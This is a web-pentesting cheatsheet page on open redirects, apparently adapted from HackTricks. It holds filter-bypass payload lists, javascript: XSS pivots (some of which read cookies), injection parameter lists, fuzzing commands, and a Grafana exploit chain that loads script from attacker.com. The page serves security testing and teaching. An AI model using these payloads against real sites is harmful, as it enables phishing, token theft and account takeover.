daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

open-redirect.md (14639B)


      1 ---
      2 title: "Open Redirect"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/open-redirect.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/open-redirect.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Open Redirect
     14 
     15 ## Open redirect
     16 
     17 ### Redirect to localhost or arbitrary domains
     18 
     19 - If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target:
     20   - IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
     21   - IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
     22   - Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
     23   - Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1.
     24 - Network-path references often bypass naive validators that prepend a scheme or only check prefixes:<sup>[[5]](#references)</sup>
     25   - //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
     26 - Userinfo tricks defeat contains/startswith checks against trusted hosts:<sup>[[4]](#references)</sup>
     27   - https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
     28 - Backslash parsing confusion between frameworks/browsers:
     29   - https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches.
     30 - Userinfo/parser differential payloads are still producing real bugs in 2024+:
     31   - `https://trusted.example[@attacker.example` or `https://trusted.example%5B@attacker.example` can confuse server-side URL parsers/host validators while browsers still navigate to `attacker.example`. This is especially interesting in frameworks that validate `host` from a parsed object and later redirect with the original string.<sup>[[1]](#references)</sup>
     32 
     33 [Url Format Bypass](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass)
     34 
     35 ### OAuth / SSO allowlist footguns
     36 
     37 - Treat every `redirect_uri`/`returnTo`/`RelayState` allowlist as a high-value target, even when it looks “strict”. Modern IdP bugs keep showing the same anti-patterns:<sup>[[2]](#references)</sup>
     38   - **Regex/glob matching instead of exact string comparison**: if a provider stores `https://app.example.com/callback` and later feeds it into a regex matcher, unescaped metacharacters may turn dots into wildcards and accept sibling attacker domains such as `https://appXexample.com/callback`.
     39   - **Wildcard-only host checks**: patterns like `https://app.example.com/*` are still exploitable when any allowed path contains an open redirect, user-controlled upload, or script execution sink.
     40   - **Validate parsed URL, redirect raw input**: if validation happens on a normalized/decoded representation but the final redirect uses the original string, encoded delimiters and parser mismatches can bring the attacker-controlled origin back.
     41 - When testing SSO flows, always repeat the attack with a victim already authenticated to the IdP. Silent approval often turns a “needs login” issue into a one-click code/token leak.
     42 - Do not assume that a redirect embedded in a CSRF defense is harmless. If the application validates a token or trusted prefix and then follows an attacker-controlled redirect, that redirect can preserve or expose security-sensitive state.<sup>[[6]](#references)</sup>
     43 
     44 ### Modern open-redirect to XSS pivots
     45 
     46 ```bash
     47 #Basic payload, javascript code is executed after "javascript:"
     48 javascript:alert(1)
     49 
     50 #Bypass "javascript" word filter with CRLF
     51 java%0d%0ascript%0d%0a:alert(0)
     52 
     53 # Abuse bad subdomain filter
     54 javascript://sub.domain.com/%0Aalert(1)
     55 
     56 #Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
     57 #This bypasses FILTER_VALIDATE_URL os PHP
     58 javascript://%250Aalert(1)
     59 
     60 #Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
     61 javascript://%250Aalert(1)//?1
     62 javascript://%250A1?alert(1):0
     63 
     64 #Others
     65 %09Jav%09ascript:alert(document.domain)
     66 javascript://%250Alert(document.location=document.cookie)
     67 /%09/javascript:alert(1);
     68 /%09/javascript:alert(1)
     69 //%5cjavascript:alert(1);
     70 //%5cjavascript:alert(1)
     71 /%5cjavascript:alert(1);
     72 /%5cjavascript:alert(1)
     73 javascript://%0aalert(1)
     74 <>javascript:alert(1);
     75 //javascript:alert(1);
     76 //javascript:alert(1)
     77 /javascript:alert(1);
     78 /javascript:alert(1)
     79 \j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
     80 javascript:alert(1);
     81 javascript:alert(1)
     82 javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
     83 javascript:confirm(1)
     84 javascript://https://whitelisted.com/?z=%0Aalert(1)
     85 javascript:prompt(1)
     86 jaVAscript://whitelisted.com//%0d%0aalert(1);//
     87 javascript://whitelisted.com?%a0alert%281%29
     88 /x:1/:///%01javascript:alert(document.cookie)/
     89 ";alert(0);//
     90 ```
     91 
     92 <details>
     93 <summary>More modern URL-based bypass payloads</summary>
     94 
     95 ```text
     96 # Scheme-relative (current scheme is reused)
     97 //evil.example
     98 
     99 # Credentials (userinfo) trick
    100 https://trusted.example@evil.example/
    101 
    102 # Backslash confusion (server validates, browser normalizes)
    103 https://trusted.example\@evil.example/
    104 
    105 # Schemeless with whitespace/control chars
    106 evil.example%00
    107 %09//evil.example
    108 
    109 # Prefix/suffix matching flaws
    110 https://trusted.example.evil.example/
    111 https://evil.example/trusted.example
    112 
    113 # When only path is accepted, try breaking absolute URL detection
    114 /\\evil.example
    115 /..//evil.example
    116 ```
    117 </details>
    118 
    119 ## Open Redirect uploading svg files
    120 
    121 ```html
    122 <code>
    123 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    124 <svg
    125 onload="window.location='http://www.example.com'"
    126 xmlns="http://www.w3.org/2000/svg">
    127 </svg>
    128 </code>
    129 ```
    130 
    131 ## Common injection parameters
    132 
    133 ```text
    134 /{payload}
    135 ?next={payload}
    136 ?url={payload}
    137 ?target={payload}
    138 ?rurl={payload}
    139 ?dest={payload}
    140 ?destination={payload}
    141 ?redir={payload}
    142 ?redirect_uri={payload}
    143 ?redirect_url={payload}
    144 ?redirect={payload}
    145 /redirect/{payload}
    146 /cgi-bin/redirect.cgi?{payload}
    147 /out/{payload}
    148 /out?{payload}
    149 ?view={payload}
    150 /login?to={payload}
    151 ?image_url={payload}
    152 ?go={payload}
    153 ?return={payload}
    154 ?returnTo={payload}
    155 ?return_to={payload}
    156 ?checkout_url={payload}
    157 ?continue={payload}
    158 ?return_path={payload}
    159 success=https://c1h2e1.github.io
    160 data=https://c1h2e1.github.io
    161 qurl=https://c1h2e1.github.io
    162 login=https://c1h2e1.github.io
    163 logout=https://c1h2e1.github.io
    164 ext=https://c1h2e1.github.io
    165 clickurl=https://c1h2e1.github.io
    166 goto=https://c1h2e1.github.io
    167 rit_url=https://c1h2e1.github.io
    168 forward_url=https://c1h2e1.github.io
    169 @https://c1h2e1.github.io
    170 forward=https://c1h2e1.github.io
    171 pic=https://c1h2e1.github.io
    172 callback_url=https://c1h2e1.github.io
    173 jump=https://c1h2e1.github.io
    174 jump_url=https://c1h2e1.github.io
    175 click?u=https://c1h2e1.github.io
    176 originUrl=https://c1h2e1.github.io
    177 origin=https://c1h2e1.github.io
    178 Url=https://c1h2e1.github.io
    179 desturl=https://c1h2e1.github.io
    180 u=https://c1h2e1.github.io
    181 page=https://c1h2e1.github.io
    182 u1=https://c1h2e1.github.io
    183 action=https://c1h2e1.github.io
    184 action_url=https://c1h2e1.github.io
    185 Redirect=https://c1h2e1.github.io
    186 sp_url=https://c1h2e1.github.io
    187 service=https://c1h2e1.github.io
    188 recurl=https://c1h2e1.github.io
    189 j?url=https://c1h2e1.github.io
    190 url=//https://c1h2e1.github.io
    191 uri=https://c1h2e1.github.io
    192 u=https://c1h2e1.github.io
    193 allinurl:https://c1h2e1.github.io
    194 q=https://c1h2e1.github.io
    195 link=https://c1h2e1.github.io
    196 src=https://c1h2e1.github.io
    197 tc?src=https://c1h2e1.github.io
    198 linkAddress=https://c1h2e1.github.io
    199 location=https://c1h2e1.github.io
    200 burl=https://c1h2e1.github.io
    201 request=https://c1h2e1.github.io
    202 backurl=https://c1h2e1.github.io
    203 RedirectUrl=https://c1h2e1.github.io
    204 Redirect=https://c1h2e1.github.io
    205 ReturnUrl=https://c1h2e1.github.io
    206 ```
    207 
    208 ## Code examples
    209 
    210 #### .Net
    211 
    212 ```bash
    213 response.redirect("~/mysafe-subdomain/login.aspx")
    214 ```
    215 
    216 #### Java
    217 
    218 ```bash
    219 response.redirect("http://mysafedomain.com");
    220 ```
    221 
    222 #### PHP
    223 
    224 ```php
    225 <?php
    226 /* browser redirections*/
    227 header("Location: http://mysafedomain.com");
    228 exit;
    229 ?>
    230 ```
    231 
    232 ## Hunting and exploitation workflow (practical)
    233 
    234 - Single URL check with curl:
    235 
    236 ```bash
    237 curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
    238 ```
    239 
    240 - Discover and fuzz likely parameters at scale:<sup>[[3]](#references)</sup>
    241 
    242 <details>
    243 <summary>Click to expand</summary>
    244 
    245 ```bash
    246 # 1) Gather historical URLs, keep those with common redirect params
    247 cat domains.txt \
    248   | gau --o urls.txt            # or: waybackurls / katana / hakrawler
    249 
    250 # 2) Grep common parameters and normalize list
    251 rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
    252   | sed 's/\r$//' | sort -u > candidates.txt
    253 
    254 # 3) Use OpenRedireX to fuzz with payload corpus
    255 cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
    256 
    257 # 4) Manually verify interesting hits
    258 awk '/30[1237]|Location:/I' results.txt
    259 ```
    260 </details>
    261 
    262 - Client-side redirectors are easy to miss in bundled JS. Grep for sinks + indicators directly in the built assets/source tree:
    263 
    264 ```bash
    265 rg -n "location\.(assign|replace|href)|window\.open|history\.(pushState|replaceState)|redirect(To)?|returnUrl|return_to|continue|next=" dist/ build/ static/ src/
    266 ```
    267 
    268 - Don’t forget client-side sinks in SPAs: look for `hashchange`, `postMessage`, `window.location/assign/replace`, and framework helpers that read query/hash and redirect.<sup>[[7]](#references)</sup>
    269 
    270 - Frameworks often introduce footguns when redirect destinations are derived from untrusted input (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input.
    271 
    272 [Nextjs](/hacktricks/network-services-pentesting/pentesting-web/nextjs)
    273 
    274 - OAuth/OIDC flows: abusing open redirectors frequently escalates to account takeover by leaking authorization codes/tokens. See dedicated guide:
    275 
    276 [Oauth To Account Takeover](/hacktricks/pentesting-web/oauth-to-account-takeover)
    277 
    278 - Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for:
    279 
    280 ```html
    281 <meta http-equiv="refresh" content="0;url=//evil.example">
    282 <script>location = new URLSearchParams(location.search).get('next')</script>
    283 ```
    284 
    285 ### Fragment smuggling + client-side traversal chain (Grafana-style bypass)
    286 
    287 - **Server-side gap (Go `url.Parse` + raw redirect)**: validators that only inspect `URL.Path` and ignore `URL.Fragment` can be tricked by placing the external host after `#`. If the handler later builds `Location` from the *unsanitized* string, fragments leak back into the redirect target. Example against `/user/auth-tokens/rotate`:
    288   - Request: `GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1`
    289   - Parsing sees `Path=/` and `Fragment=/..//\//attacker.com`, so regex + `path.Clean()` approve `/`, but the response emits `Location: /\//attacker.com`, acting as an open redirect.<sup>[[9]](#references)</sup>
    290 - **Client-side gap (validate decoded/cleaned, return original)**: SPA helpers that fully decode a path (including double-encoded `?`), strip the query for validation, but then return the *original* string let encoded `../` survive. Browser decoding later turns it into a traversal to any same-origin endpoint (e.g., the redirect gadget). Payload pattern:
    291   - `/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate`
    292   - The validator checks `/dashboard/script/` (no `..`), returns the encoded string, and the browser walks to `/user/auth-tokens/rotate`.
    293 - **End-to-end XSS/ATO**: chain the traversal with the fragment-smuggled redirect to coerce the dashboard script loader into fetching attacker JS:
    294 
    295 ```text
    296 https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
    297 ```
    298 
    299   - The path traversal reaches the rotate endpoint, which issues a 302 to `attacker.com/module.js` from the fragment-smuggled `redirectTo`. Ensure the attacker origin serves JS with permissive CORS so the browser executes it, yielding session theft/account takeover.
    300 
    301 ## Tools
    302 
    303 - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) – good for single-target checks, archive.org mining and quick CRLF-assisted redirect triage. Example:
    304 
    305 ```bash
    306 # Single target
    307 python3 oralyzer.py -u "https://target.tld/logout?next="
    308 
    309 # Mine historical URLs for a host via archive.org
    310 python3 oralyzer.py -u "https://target.tld" --wayback
    311 
    312 # CRLF-assisted Location-header checks across candidates
    313 python3 oralyzer.py -l candidates.txt -crlf
    314 ```
    315 
    316 - [OpenRedireX](https://github.com/devanshbatham/OpenRedireX) – fuzzer for detecting open redirects.<sup>[[8]](#references)</sup> Example:
    317 
    318 ```bash
    319 # Install
    320 git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
    321 
    322 # Fuzz a list of candidate URLs (use FUZZ as placeholder)
    323 cat list_of_urls.txt | openredirex -p payloads.txt -k FUZZ -c 50
    324 ```
    325 
    326 
    327 ## References
    328 
    329 - [1] [New crazy payloads in the URL validation bypass cheat sheet – PortSwigger Research](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
    330 - [2] [Writeup: Authentik CVE-2024-52289 – Omegapoint Security Blog](https://securityblog.omegapoint.se/en/writeup-authentik-cve-2024-52289/)
    331 - [3] [PayloadsAllTheThings – Open Redirect fuzzing lists](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect)
    332 - [4] [Open Redirect Cheatsheet – pentester.land](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
    333 - [5] [cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
    334 - [6] [Open Redirects: Bypassing CSRF Validations Simplified – InfoSec Write-ups](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
    335 - [7] [PortSwigger Web Security Academy – DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection)
    336 - [8] [OpenRedireX – A fuzzer for detecting open redirect vulnerabilities](https://github.com/devanshbatham/OpenRedireX)
    337 - [9] [Grafana CVE-2025-6023 redirect + traversal bypass chain](https://blog.ethiack.com/blog/grafana-cve-2025-6023-bypass-a-technical-deep-dive)